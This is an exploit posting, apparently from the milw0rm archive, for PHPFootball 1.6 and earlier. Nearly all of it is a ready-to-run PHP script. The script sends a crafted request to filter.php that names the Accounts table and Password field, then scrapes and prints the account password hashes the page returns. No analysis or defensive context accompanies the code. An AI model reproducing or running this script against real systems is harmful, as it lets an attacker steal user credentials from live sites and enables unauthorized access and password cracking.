PHPFootball <= 1.6 (filter.php) Remote Hash Disclosure Exploit

&#60;?php // http://garr.dl.sourceforge.net/sourceforge/phpfootball/PHPfootball1.6.zip $host = $argv[1]; $path = $argv[2]; if ($argc != 3) { echo &#34;PHPFootball &#60;= 1.6 (filter.php) Remote Hash Disclosure Exploit\n&#34;; echo &#34;by KinG-LioN - http://eurohackers.it\n&#34;; echo &#34;Usage: php {$argv[0]} &#60;host&#62; &#60;path&#62;\n&#34;; exit; } else { $head .= &#34;GET /{$path}/filter.php?dbtable=Accounts&dbfield=Password HTTP/1.1\r\n&#34;; $head .= &#34;Host: {$host}\r\n&#34;; $head .= &#34;Connection: close\r\n\r\n&#34;; $fsock = fsockopen ($host,80); fputs ($fsock,$head); while (!feof($fsock)) { $cont .= fgets($fsock); } fclose($fsock); if (preg_match_all(&#34;/&#60;td class=td&#62;(.+?)&#60;\/td&#62;/&#34;,$cont,$i)) { print_r($i[1]); } else { die (&#34;exploit error\n&#34;); } } ?&#62; # milw0rm.com [2009-01-01]